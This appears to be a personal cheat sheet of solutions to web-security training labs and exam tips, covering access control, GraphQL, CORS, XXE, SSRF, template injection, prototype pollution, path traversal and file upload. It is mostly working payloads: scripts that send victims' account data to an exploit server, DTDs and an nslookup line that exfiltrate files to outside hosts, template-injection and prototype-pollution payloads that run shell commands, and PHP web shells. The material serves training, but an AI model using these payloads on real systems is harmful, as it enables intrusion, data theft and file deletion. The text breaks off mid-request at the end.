This lab is more difficult. In this lab, you can include a reset_token parameter in the internal server request.

This can be done using the following. Add #test to the end and see that it errors:

csrf=KWCU4G1AVLVnCi3i4rVg8JUoHBd6JIEu&username=administrator#test

Response:

{"error": "Field not specified."}

This shows that there may be a parameter named field. Confirm with:

csrf=KWCU4G1AVLVnCi3i4rVg8JUoHBd6JIEu&username=administrator#field=123

...

"error": "Field not specified."

This is good. By looking through the source code in /static/js/forgotPassword.js, you can see /forgot-password?reset_token=${resetToken}. This suggests there is a reset_token field.

csrf=KWCU4G1AVLVnCi3i4rVg8JUoHBd6JIEu&username=administrator%26field=reset_token

...

{"type":"reset_token","result":"xx8wdhtlg3wg3nfiolh6tvfh70gel7pa"}

Reset the admin’s token through /forgot-password?reset_token=xx8wdhtlg3wg3nfiolh6tvfh70gel7pa and delete Carlos.

Access Control

Location

Location

URL

Look for ways to force browsing to the admin panel.

https://web-security-academy.net/admin

Cookies

Look for very obvious cookies, such as admin.

Admin=true

Email update

Look out for responses from email updates, which may disclose your user role and may be able to be changed.

{
	"email":"test@test.com",
	"roleid": 2
}

Account URL

Look out for simple IDORs (Insecure Direct Object References) in the URL.

https://web-security-academy.net/my-account?id=carlos

Exam

Exam

In the exam, you should look for ways to escalate privileges through API requests. One such example is changing your roleid to a number between 1 and 100 to grant you admin privileges.

{
	"email":"email",
	"roleid":2
}

Also, check for ways to bypass admin controls by using custom headers.

X-Original-Url: /admin

Burp-lab

Burp Lab

1. Unprotected admin functionality

Force browse to the admin panel using robots.txt.

/administrator-panel

2. Unprotected admin functionality with unpredictable URL

Review the source code and find the path to /admin.

/admin-3ofjkq

3. User role controlled by request parameter

Change the cookie to true.

Admin=true

4. User role can be modified in user profile

In this lab, you can change your userID through the email change by adding a request parameter.

{
	"email":"test@test.com",
	"roleid": 2
}

5. User ID controlled by request parameter

In this lab, there are simple IDORs in the URL.

https://web-security-academy.net/my-account?id=carlos

6. User ID controlled by request parameter, with unpredictable user IDs

In this lab, the userid in the URL is controlled by UUID. You can find Carlos’s UUID through the blog post.

https://web-security-academy.net/my-account?id=0a146a9f-76c0-4da1-b95c-7513f57ee652

7. User ID controlled by request parameter with data leakage in redirect

This is a good lab. You can get Carlos’s API key by requesting his profile as normal and capturing the request in the repeater. The API key is in the response, which redirects before you can see it.

GET /my-account?id=carlos

8. User ID controlled by request parameter with password disclosure

Simple IDOR in the URL that lets you see the password stored in the account. Grab the admin’s password and delete Carlos.

https://web-security-academy.net/my-account?id=administrator

9. Insecure direct object references

Interesting lab. You can download transcripts through the chat feature. These are labelled 1, 2, 3, etc. Find Carlos’s transcript and his password in it.

GET /download-transcript/1.txt HTTP/2

10. URL-based access control can be circumvented

This is a header injection. You need to inject the X-Original-Url and specify /admin.

GET /?username=carlos HTTP/2

...

X-Original-Url: /admin/delete

11. Method-based access control can be circumvented

This lab is good. You have access to the admin account (administrator:admin) for familiarity. You can upgrade yourself to admin through a GET request at /admin-roles. Only the POST request is secure.

GET /admin-roles?username=wiener&action=upgrade HTTP/2

12. Multi-step process with no access control on one step

In this lab, you can use Wiener’s session token for the admins to confirm the upgrade step. You get admin creds (administrator:admin).

POST /admin-roles HTTP/2

...

action=upgrade&confirmed=true&username=wiener

13. Referer-based access control

In this lab, you can access the admin panel if the Referer header is /admin.

GET /admin-roles?username=wiener&action=upgrade HTTP/2

...

Referer: https://web-security-academy.net/admin

Other Labs

14. Authentication bypass via flawed state machine

This lab is good. You can skip the role-selector, and it automatically assigns you as admin.

DROP /role-select

Go to:
https://.web-security-academy.net/admin

15. Authentication bypass via information disclosure

This lab discloses an HTTP header through the TRACE method. Use this to act as localhost.

GET /admin/delete?username=carlos HTTP/

...

X-Custom-Ip-Authorization: 127.0.0.1

Location

Location

GraphQL Endpoints:

/graphql
/api
/api/graphql
/graphql/api
/graphql/graphql

CSRF Potential

Look for the Content-Type: application/x-www-form-urlencoded. This suggests it may be susceptible:

Content-Type: application/x-www-form-

Exploit

Exploit

Burp Labs

1. Accessing private GraphQL posts

Run an introspective query using the GraphQL option. Find the hidden query postPassword and use it on the missing post:

query getBlogPost($id: Int!) {
        getBlogPost(id: $id) {
            image
            title
            author
            date
            postPassword
        	
        }
    }

---

{"id":3}

2. Accidental exposure of private GraphQL fields

In this lab, I used inQL, a Burp extension that was very helpful. Upload the URL, and it will find all the queries you can make. Use this to find the GetUser. Change the ID to 1 and it returns the admin’s credentials:

query {
    getUser(id: 1) {
        id
        password
        username
    }
}

3. Finding a hidden GraphQL endpoint

This lab is tough. You need to find the GraphQL endpoint using brute-force, then use this to find the mutation to delete Carlos. I used InQL again and uploaded the JSON introspection query:

The normal query is blocked, however, it can be bypassed using:

query IntrospectionQuery {
    __schema 
     {
     ...
GET /api?query=mutation+%7B%0A%09deleteOrganizationUser%28input%3A%7Bid%3A+3%7D%29+%7B%0A%09%09user+%7B%0A%09%09%09id%0A%09%09%7D%0A%09%7D%0A%7D

5. Performing CSRF exploits over GraphQL

This lab is incredibly difficult. You need to discover that you can change the content type to application/x-www-form-urlencoded. Once you’ve realised this, you need to change the request body to URL encoded and remove any {" from the string. This will leave you with the following request:

POST /graphql/v1

...

query=%0A++++mutation+changeEmail%28%24input%3A+ChangeEmailInput%21%29+%7B%0A++++++++changeEmail%28input%3A+%24input%29+%7B%0A++++++++++++email%0A++++++++%7D%0A++++%7D%0A&operationName=changeEmail&variables=%7B%22input%22%3A%7B%22email%22%3A%22hacker%40hacker.com%22%7D%7D

Once you confirm this works, you need to generate a CSRF PoC using the Engagement Tools, store it on your exploit server and change a user’s email address.

Bypass

Bypass

When developers disable introspection, they may use a regex to exclude the __schema keyword in queries. You should try characters like spaces, new lines and commas, as they are ignored by GraphQL but not by flawed regex.

Sometimes introspective queries are blocked. Here are some bypasses:

1. Adding breaks:

query IntrospectionQuery {
    __schema 
     {

2. changing request methods

GET /api?query=query...

Bypass Labs

Bypass Docs

4. Bypassing GraphQL brute force protections

In this lab, you can use aliases to bypass brute force protections. First, generate the code using the following JavaScript:

copy(<code>{`123456,password,12345678,qwerty,123456789,12345,1234,111111,1234567,dragon,123123,baseball,abc123,football,monkey,letmein,shadow,master,666666,qwertyuiop,123321,mustang,1234567890,michael,654321,superman,1qaz2wsx,7777777,121212,000000,qazwsx,123qwe,killer,trustno1,jordan,jennifer,zxcvbnm,asdfgh,hunter,buster,soccer,harley,batman,andrew,tigger,sunshine,iloveyou,2000,charlie,robert,thomas,hockey,ranger,daniel,starwars,klaster,112233,george,computer,michelle,jessica,pepper,1111,zxcvbn,555555,11111111,131313,freedom,777777,pass,maggie,159753,aaaaaa,ginger,princess,joshua,cheese,amanda,summer,love,ashley,nicole,chelsea,biteme,matthew,access,yankees,987654321,dallas,austin,thunder,taylor,matrix,mobilemail,mom,monitor,monitoring,montana,moon,moscow`}</code>.split(',').map((element,index)=><code>{`
bruteforce$index:login(input:{password: "$password", username: "carlos"}) {
        token
        success
    }
`}</code>.replaceAll('$index',index).replaceAll('$password',element)).join('\n'));console.log("The query has been copied to your clipboard.");

After this is generated, copy it into a mutation and send it off to bypass the authentication:

POST /graphql/v1 HTTP/2

...

{"variables": {"input": {"password": "peter", "username": "wiener"}}, "query": "mutation {...

EXAMPLE in InQL

mutation {
    bruteforce0: login(input: { password: "123456", username: "carlos" }) {
        token
        success
    }

Tools

Tools

InQL - GraphQL Scanner

This extension visualises GraphQL and helps with the formatting. Install it through the BApp Store and run it. Give it the URL of the GraphQL endpoint and it will try to run an introspective query and tell you all your options.

CORS Misconfigurations

Location

Location

Account Details

Look for the following web page:

/AccountDetails

This will return the following:

HTTP/2 200 OK
Access-Control-Allow-Credentials: true
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 149

{
  "username": "wiener",
  "email": "",
  "apikey": "ZAFd1EUahSHpkU4bfBN7kjBejmdGyZYy",
  "sessions": [
    "ferwlt3tb1404kvKB3phujDkNuPJvNnV"
  ]
}

External Subdomain

This subdomain is vulnerable to XSS, which is whitelisted in the CORS policy:

https://stock.0ad600ce038f8547821aa233009200b5.web-security-academy.net/?productId=1&storeId=1

Test Payloads

Add the following Origin headers and look for a response indicating a misconfigured CORS policy.

Random Origin

Origin: https://www.jackmason.com

Null Origin

Origin: null

Example Response:

Access-Control-Allow-Credentials: true

Conditions

Most CORS attacks rely on the presence of the response header:

Access-Control-Allow-Credentials: true

Without that header, the victim user’s browser will refuse to send their cookies, meaning the attacker will only gain access to unauthenticated content. They could just as easily access this by browsing directly to the target website.

Exploit

Exploit

Server-generated ACAO header from client-specified Origin header

This is where the header is reflected in the Access-Control-Allow-Origin header.

Request

GET /sensitive-victim-data HTTP/1.1
Host: vulnerable-website.com
Origin: https://malicious-website.com
Cookie: sessionid=...

Response:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true
...

Because the application reflects arbitrary origins in the Access-Control-Allow-Origin header, this means that any domain can access resources from the vulnerable domain. If the response contains any sensitive information, such as an API key or CSRF token, you could retrieve this by placing the following script on your website:

<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','https://0adb00a0034ff34380e38f4500d4004b.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();

    function reqListener() {
        location='/loggy?key='+this.responseText;
    };
</script>

Whitelisted null origin value

For example, suppose an application receives the following cross-origin request:

GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: null

And the server responds with:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true

Example Exploit:

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0aab007e030b79cf80fcb73700b400a8.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='/loggy?key='+this.responseText;
};
</script>"></iframe>

Whitelisted Subdomain

In this lab, the subdomain is vulnerable to XSS. In this case, it’s the same as the trusted origin.

Example Exploit:

<script>
    document.location="https://stock.0ad600ce038f8547821aa233009200b5.web-security-academy.net/?productId=4<script>var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','https://0ad600ce038f8547821aa233009200b5.web-security-academy.net/accountDetails',true); req.withCredentials = true;req.send();function reqListener() {location='https://exploit-0a9a0055034b85a18292a10401d3004f.exploit-server.net/log?key='%2bthis.responseText; };%3c/script>&storeId=1"
</script>

XML external entity (XXE) injection

Location

Location

Check Stock

A good indication is the check stock functionality:

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>2</productId><storeId>1</storeId></stockCheck>

Avatar Image Upload

Some XXE can be injected through image uploads and dangerous SVGs.

Content-Disposition: form-data; name="avatar"; filename=""
Content-Type: application/octet-stream

Identify XXE

To identify XXE in areas where it may not be clear, use the following payload and look for errors that may indicate XML is possible:

%26entity;

...

productId=%26entity;&stockId=1

Exam

Exam

Look for functionality that can be used to exfiltrate data. You may not even need to perform XXE attacks but just use the structure:

<email>example1@domain.com||`nslookup -q=cname $(cat /home/carlos/secret).burp.oastify.com`</email>
    </user>
</users>

Burp-labs

Burp Labs

Burp Labs

Exploiting XXE to retrieve files

1. Exploiting XXE using external entities to retrieve files

Super simple lab to get the /etc/passwd file. Use DOCTYPE to define a file and exfiltrate:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>

4. Exploiting XXE via image file upload

Save the following as an SVG file and upload it:

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

Exploiting XXE to perform SSRF attacks

2. Exploiting XXE to perform SSRF attacks

In this lab you can use XXE to perform CSRF against a given endpoint: 169.254.169.254 to find EC2 metadata. This can be done by going to http://169.254.169.254 and following the output through error messages:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>1&xxe;</productId><storeId>&xxe;</storeId></stockCheck>

XInclude attacks

3. Exploiting XInclude to retrieve files

Super simple lab where you can grab data through an xinclude on the check stock. This endpoint looks normal but is injectable:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

Blind XXE

Burp Labs

5. Blind XXE with out-of-band interaction

This lab is super simple; you use the SSRF to perform an out-of-band interaction and request your own collaborator link:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://w63bg5v54g3yj5v6c8abikf0yr4isagz.oastify.com"> ]>
<stockCheck><productId>2</productId><storeId>1&xxe;</storeId></stockCheck>

6. Exploiting blind XXE to exfiltrate data using a malicious external DTD

This lab is very important! This is how you can use blind XXE to exfiltrate the contents of a file to a remote server. This is the kind of thing that will be on the exam.

The following code can be hosted on the exploit server to grab the contents of a file and exfiltrate them. Save as file.dtd:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://BURP-LINK/?x=%file;'>">
%eval;
%exfil;

The following payload can be used to call this from your exploit server:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"https://exploit-server.net/exploit.dtd"> %xxe;]>

7. Exploiting blind XXE to retrieve data via error messages

In this lab you can see the data through error messages. This again is what may be on the exam. This has the same setup with the external dtd file.

Host as a .dtd:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

In the request to check stock, add the following:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"https://exploit-0a08009b038370a880dc523401760083.exploit-server.net/exploit.dtd"> %xxe;]>
<stockCheck><productId>3</productId><storeId>1</storeId></stockCheck>

Bypass

Bypass

8. Blind XXE with out-of-band interaction via XML parameter entities

This lab uses parameters to perform out-of-band interaction. This does not require entities, just the DOCTYPE:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://hello.jxky7smsv3ulasmt3v1y976npev5jy7n.oastify.com"> %xxe; ]>

9. SQL injection with filter bypass via XML encoding

In this lab you need to perform SQL injection through an XML document and bypass a WAF. It is recommended to use HackVector to do this.

Find the injection point:

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>INJECT-HERE</storeId></stockCheck>

Test a payload:

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId>1 UNION Select NULL</storeId></stockCheck>
  • this throws an error saying attack detected

Use HackVector to encode the payload and find the database:

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId><@hex_entities>1 UNION SELECT version()</@hex_entities></storeId></stockCheck>

You are told it is in a table named users. Use this to find the column names:

<?xml version="1.0" encoding="UTF-8"?><stockCheck><productId>1</productId><storeId><@hex_entities>1 UNION SELECT username || '~' || password FROM users</@hex_entities></StoreId></stockCheck>

Server Side Request Forgery (SSRF)

Location

Location

ATTENTION:

If you find an SSRF vulnerability on the exam, you can use it to read files by accessing an internal-only service running on localhost on port 6566.

Check Stock

In the check stock feature, a URL is sometimes disclosed:

stockApi=http%3A%2F%2Fstock.weliketoshop.net%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D2%26storeId%3D1

Referer Header

There may be Blind SSRF in the Referer header:

Referer: https://test.4kpjud9dioh6xd9eqgojwst8cziq6oud.oastify.com

Open Redirects

Some endpoints may be accessible locally, so open redirects can be used:

/product/nextProduct?currentProductId=6&path=https://EXPLOIT.net

Exploits

Exploits

SSRF Sample Payloads

/product/nextProduct?currentProductId=6&path=https://EXPLOIT.net

stockApi=http://localhost:6566/admin

http://127.1:6566/admin

Host: localhost

Alternative IP representation of 127.0.0.1:

1. 2130706433
2. 017700000001
3. 127.1

Burp Labs

Burp Labs

1. Basic SSRF against the local server

A super simple lab, letting you change the stock check request and gain access to an admin panel.

stockApi=http://localhost/admin/delete?=carlos

2. Basic SSRF against another back-end system

In this lab, you don’t know the IP address, so you have to brute force it with intruder.

stockApi=http%3a%2f%2f192.168.0.30%3a8080/admin/delete?username=carlos

3. Blind SSRF with out-of-band detection

In this lab, there is blind SSRF through the Referer header:

Referer: https://test.4kpjud9dioh6xd9eqgojwst8cziq6oud.oastify.com

Bypass

Bypass

Bypass Docs

4. SSRF with blacklist-based input filter

This lab is interesting. It’s a simple lab, but there is a block on localhost. This can be bypassed by double URL encoding and capitalising letters:

stockApi=http%3a%2f%2fLocalhost%2f%25%36%31dmin

5. SSRF with filter bypass via open redirection vulnerability

This lab is quite tricky to exploit. You need to abuse an open redirect to access the endpoint as the request needs to come from the server.

stockApi=/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos

Other Bypasses

Type in http://2130706433 instead of http://127.0.0.1
Hex Encoding 127.0.0.1 translates to 0x7f.0x0.0x0.0x1
Octal Encoding 127.0.0.1 translates to 0177.0.0.01
Mixed Encoding 127.0.0.1 translates to 0177.0.0.0x1

https://h.43z.one/ipconverter/

Server Side Template Injection (SSTI)

Location

Location

URL

Look for error messages in the URL:

https://web-security-academy.net/?message=INJECT HERE

Content Manager

On some labs you will get a content manager account:

content-manager:C0nt3ntM4n4g3r

Update profile name

Some labs have the ability to update your name. This is injectable

blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('rm%20/home/carlos/morale.txt')

Exam

Exam

In the exam, look for areas where the admin can add templates. An example exploit to obtain data from home/carlos/secret would be:

Twig (PHP)

{{ constant('System')::getenv('PATH') }}

Jinja

{{+self.init.globals.builtins.import('os').popen('cat+/home/carlos/secret').read()+}}

Jinja2

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat /home/carlos/secret').read() }}

Smarty (PHP)

{php}echo system('cat /home/carlos/secret');{/php}

Velocity (Java)

#set($x = "cat /home/carlos/secret")
#set($y = $class.inspect("java.lang.Runtime").getRuntime().exec($x))

Freemarker (Java)

<#assign ex = "freemarker.template.utility.Execute"?new()>${ex("cat /home/carlos/secret")}

Mako (Python)

<% import os %>${os.popen('cat /home/carlos/secret').read()}

PayloadAllTheThings (SSTI)

PayloadAllTheThings

Burp-labs

Burp Labs

1. Basic server-side template injection

In this lab you can use SSTIMap with the command --os-cmd rm /home/carlos/moral.txt which will delete the file:

./sstimap.py -u "https://web-security-academy.net/?message=1" --os-cmd "rm /home/carlos/morale.txt"

Manual Payload:

<%= system("rm /home/carlos/morale.txt") %>

2. Basic server-side template injection (code context)

This lab has an exploit that triggers when you change your username to a SSTI payload. This is hard to do using tools.

Find template engine with:

${{<%[%'"}}%\\
  • this shows that tornado.template is used.

This can be exploited with the following exploit:

blog-post-author-display=user.name}}{%25+import+os+%25}{{os.system('rm%20/home/carlos/morale.txt')
&csrf=2AQocPpLMxmxP9K5Xrdksg1QHzsQRwyu

3. Server-side template injection using documentation

In this lab you get credentials as a creator (content-manager:C0nt3ntM4n4g3r). You can now change templates. Use this to inject a template and delete a user from carlos:

Error out application:

${foobar}
  • this shows the engine

Use this to exploit it:

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("cat /home/carlos/secret") }

4. Server-side template injection in an unknown language with a documented exploit

Do not even ask for this lab. It is in the message again. Add a fuzzer payload such as fuzzer${{<%[%'"}}%,<> which breaks the template and tells you it is handlebars. This can be exploited with:

wrtz{{#with "s" as |string|}}
    {{#with "e"}}
        {{#with split as |conslist|}}
            {{this.pop}}
            {{this.push (lookup string.sub "constructor")}}
            {{this.pop}}
            {{#with string.split as |codelist|}}
                {{this.pop}}
                {{this.push "return require('child_process').exec('rm /home/carlos/morale.txt');"}}
                {{this.pop}}
                {{#each conslist}}
                    {{#with (string.sub.apply 0 codelist)}}
                        {{this}}
                    {{/with}}
                {{/each}}
            {{/with}}
        {{/with}}
    {{/with}}
{{/with}}
  • URL encode this and add it to the URL

5. Server-side template injection with information disclosure via user-supplied objects

This lab uses Django. It can be exploited with the following payloads. You also need to sign in as a content manager:

${{<%[%'"}}%\,
{% debug %} 
{{settings.SECRET_KEY}}

Tools

Tools

SSTIMap

SSTIMap will let you automatically test for payloads like sqlmap.

Basic Usage

python sstimap.py -u http://example.com/page?name=John

Attempts SSTI detection on the name parameter.


Specify Parameter Explicitly

python sstimap.py -u http://example.com/page -p name

Tests the name parameter, even if not present in the query string.


POST Request with Form Data

python sstimap.py -u http://example.com/login -p username --data "username=admin&password=123"

Tests SSTI in the username parameter using a standard POST form.


POST Request with JSON Body

python sstimap.py -u http://example.com/api -p user --json '{"user":"test","pass":"123"}'

Sends the payload in a JSON-encoded POST body.


Include Cookies

python sstimap.py -u http://example.com -p id --cookie "session=abcd1234"

Useful for testing authenticated areas of a web application.


Add Custom Headers

python sstimap.py -u http://example.com -p q --headers "X-Api-Version: 1"

Passes additional headers with the request.


Enable Verbose Mode

python sstimap.py -u http://example.com -p search -v

Provides more output details during testing.


Fuzz All Parameters Automatically

python sstimap.py -u http://example.com/search?q=test --fuzz

Automatically checks all query or body parameters for SSTI vulnerabilities.


Use a Proxy (e.g. Burp Suite)

python sstimap.py -u http://example.com -p name --proxy http://127.0.0.1:8080

Forwards requests through a local proxy for inspection.


Custom Injection Payload

python sstimap.py -u http://example.com -p value --payload "{{7*7}}"

Overrides the default payload with a custom one.

Server-Side Prototype Pollution

Location

Location

Account Update

Look for ways to update your profile and upgrade your privileges:

POST /my-account/change-address

...

{
	"details":"etc",
	"__proto__":{
		"isAdmin":true
	}
}

Exploit

Exploit

Server-Side Prototype Pollution

Burp labs

1. Privilege escalation via server-side prototype pollution

This lab is straightforward and might be in the exam. You need to change isAdmin to true. This can be done through the /my-account/change-address endpoint:

{
	"data":"...",
	
	"__proto__": {
	    "isAdmin":true
	}
}

4. Remote code execution via server-side prototype pollution

This lab is tricky. You can perform RCE through commands that allow you to delete Carlos’s file.

Step one: _Identify_ prototype pollution

"__proto__": {
    "json spaces":10
}

Step two: Test for remote code execution (RCE) by performing a DNS request from the back end.

"__proto__": {
    "execArgv":[
        "--eval=require('child_process').execSync('curl https://OASTIFY.COM')"
    ]
}

Step three: Inject an exploit to read or delete user-sensitive data. After injection, trigger new spawned node child processes by using the admin panel’s maintenance jobs button. This will act on Carlos’s secret file.

"__proto__": {
    "execArgv":[
        "--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"
    ]
}

Bypass

Bypass

2. Detecting server-side prototype pollution without polluted property reflection

If there’s no visible way to see if the exploit succeeded, you can try the following blind method:

"__proto__": {
    "status":555
}
  • This will make the error code 555, indicating that it has been polluted.

3. Bypassing flawed input filters for server-side prototype pollution

This is a simple lab. Websites might filter out __proto__, so you can use the following:

{
	"data":"...",
	
	"constructor":{
		"prototype": {
			"isAdmin":true
		}
	}
}

Tools

Tools

Server-Side Prototype Pollution Scanner

This is a Burp Extension for finding server-side prototype pollution issues. Just install it and run it against the scope.

File Path Traversal

Location

Location

Image File path

GET /image?filename=../../../../../../etc/passwd HTTP/2

Burp-labs

Burp Labs

1. File path traversal, simple case

Simple lab: gain access to the etc/passwd file.

GET /image?filename=../../../../../../etc/passwd HTTP/2

2. File path traversal, traversal sequences blocked with absolute path bypass

Straightforward lab: you can supply an absolute path:

GET /image?filename=/etc/passwd HTTP/2

3. File path traversal, traversal sequences stripped non-recursively

Easy lab: you can bypass the filter with the following nested traversal sequence ....//

GET /image?filename=....//....//....//....//....//etc/passwd

4. File path traversal, traversal sequences stripped with superfluous URL-decode

Easy lab: you can double URL encode the ../ to ..%252f

GET /image?filename=..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

5. File path traversal, validation of start of path

Easy lab: you need to start the traversal with the path provided:

GET /image?filename=/var/www/images/../../../../../../../../etc/passwd

6. File path traversal, validation of file extension with null byte bypass

Easy lab: you need to specify the file type of .jpg. This can be achieved with a null byte.

GET /image?filename=../../../../../../etc/passwd%00.jpg HTTP/2

Bypass

Bypass

Nested traversal sequences

You might be able to use nested traversal sequences, such as ....// or ..../. These revert to simple traversal sequences when the inner sequence is stripped.

Double URL encode

You can sometimes bypass this kind of sanitisation by URL encoding, or even double URL encoding, the ../ characters. This results in %2e%2e%2f and %252e%252e%252f respectively. Various non-standard encodings, such as ..%c0%af or ..%ef%bc%8f, may also work.

Base files

An application may require the user-supplied filename to start with the expected base folder, such as /var/www/images.

Required Extension

An application may require the user-supplied filename to end with an expected file extension, such as .png. In this case, it might be possible to use a null byte to effectively terminate the file path before the required extension. For example: filename=../../../etc/passwd%00.png.

Headers

Adding headers in the request with value 127.0.0.1 or localhost can also help in bypassing restrictions.

X-Custom-IP-Authorization: 127.0.0.1
X-Forwarded-For: localhost
X-Forward-For: localhost
X-Remote-IP: localhost
X-Client-IP: localhost
X-Real-IP: localhost

X-Originating-IP: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
X-Original-URL: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1

403 Bypass

The following tool allows you to bypass otherwise restricted pages. This is not in any of the labs but is interesting: 403 Bypasser

Example Secret URL Encoded:

/image?filename=%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%32%65%25%32%65%25%32%66%25%36%38%25%36%66%25%36%64%25%36%35%25%32%66%25%36%33%25%36%31%25%37%32%25%36%63%25%36%66%25%37%33%25%32%66%25%37%33%25%36%35%25%36%33%25%37%32%25%36%35%25%37%34

Location

Location

File Upload Functionality

Look for ways to upload files, such as avatars:

------geckoformboundary7272ca74692c2ec9cde369343ab177b4
Content-Disposition: form-data; name="avatar"; filename="lab1.php"
Content-Type: text/php

<?php echo file_get_contents('/home/carlos/secret'); ?>

Burp Labs

Burp Labs

1. Remote code execution via web shell upload

Super simple lab, which allows a user to upload PHP files.

------geckoformboundary7272ca74692c2ec9cde369343ab177b4
Content-Disposition: form-data; name="avatar"; filename="lab1.php"
Content-Type: text/php

<?php echo file_get_contents('/home/carlos/secret'); ?>

2. Web shell upload via Content-Type restriction bypass

In this lab, you need to bypass the file restriction by changing the Content-Type: to image/jpeg.

------geckoformboundary4c734fa1381c1fe0db397a27ae074a39
Content-Disposition: form-data; name="avatar"; filename="lab1.php"
Content-Type: image/jpeg

<?php echo file_get_contents('/home/carlos/secret'); ?>

3. Web shell upload via path traversal

In this lab, you need to store the file in a location where it can execute. This can be done by going back a directory using path traversal. To get this to work, you need to URL encode the /:

------geckoformboundary626bcbc7eccb58165a439150cfa80ba0
Content-Disposition: form-data; name="avatar"; filename="..%2flab1.php"
Content-Type: text/php

<?php echo file_get_contents('/home/carlos/secret'); ?>

4. Web shell upload via extension blacklist bypass

In this lab, you can upload a .htaccess file that tells the web server to execute PHP files. This can be used to tell the web server to process a file of a specified directory as a PHP file:

Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: text/plain

AddType application/x-httpd-php .djang0

---

Content-Disposition: form-data; name="avatar"; filename="lab1.djang0"
Content-Type: text/php

<?php echo file_get_contents('/home/carlos/secret'); ?>

5. Web shell upload via obfuscated file extension

In this lab, you need to bypass file restriction to make the web server think it’s a .jpg file:

Content-Disposition: form-data; name="avatar"; filename="lab1.php%00.jpg"
Content-Type: text/php

<?php echo file_get_contents('/home/carlos/secret'); ?>

6. Remote code execution via polyglot web shell upload

This lab allows you to upload a valid image, so you have to include the payload in the metadata using exiftool:

exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" jack.jpg -o jacksploit.php

7. XXE via SVG Image upload

This lab is also mentioned in my XXE cheatsheet. Save the following as an SVG file and upload it:

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>

8. Web shell upload via race condition

This is a good lab. To break this lab, you need to exploit a race condition to view the file before it has been processed. This can be done using turbo intruder:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)

    request1 = '''POST /my-account/avatar HTTP/2
Host: 0a9f001a0402968980aa71ff005800a2.web-security-academy.net
Cookie: session=BDQwc3X5j3KtZnYGl2EfeMS343RSfxUY
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundary98c9b3da851ef56a55d5e1fea06146ca
Content-Length: 518
Origin: https://0a9f001a0402968980aa71ff005800a2.web-security-academy.net
Referer: https://0a9f001a0402968980aa71ff005800a2.web-security-academy.net/my-account
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
